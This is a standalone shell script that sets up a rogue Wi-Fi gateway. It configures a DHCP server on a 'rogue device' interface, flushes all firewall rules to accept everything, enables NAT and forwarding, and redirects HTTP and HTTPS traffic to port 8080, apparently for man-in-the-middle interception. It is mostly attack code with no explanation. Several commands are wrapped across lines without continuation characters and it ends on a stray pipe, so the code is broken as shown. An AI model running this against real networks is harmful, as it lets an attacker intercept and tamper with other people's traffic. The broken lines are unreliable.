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#!/bin/sh
echo "Interface with internet connectivity:
"
read iInf
echo "Secondary interface with rogue device:
"
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo
--listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m
--dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25
--pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone
..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp
--dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp
--dport 443 -j REDIRECT --to-port 8080 |
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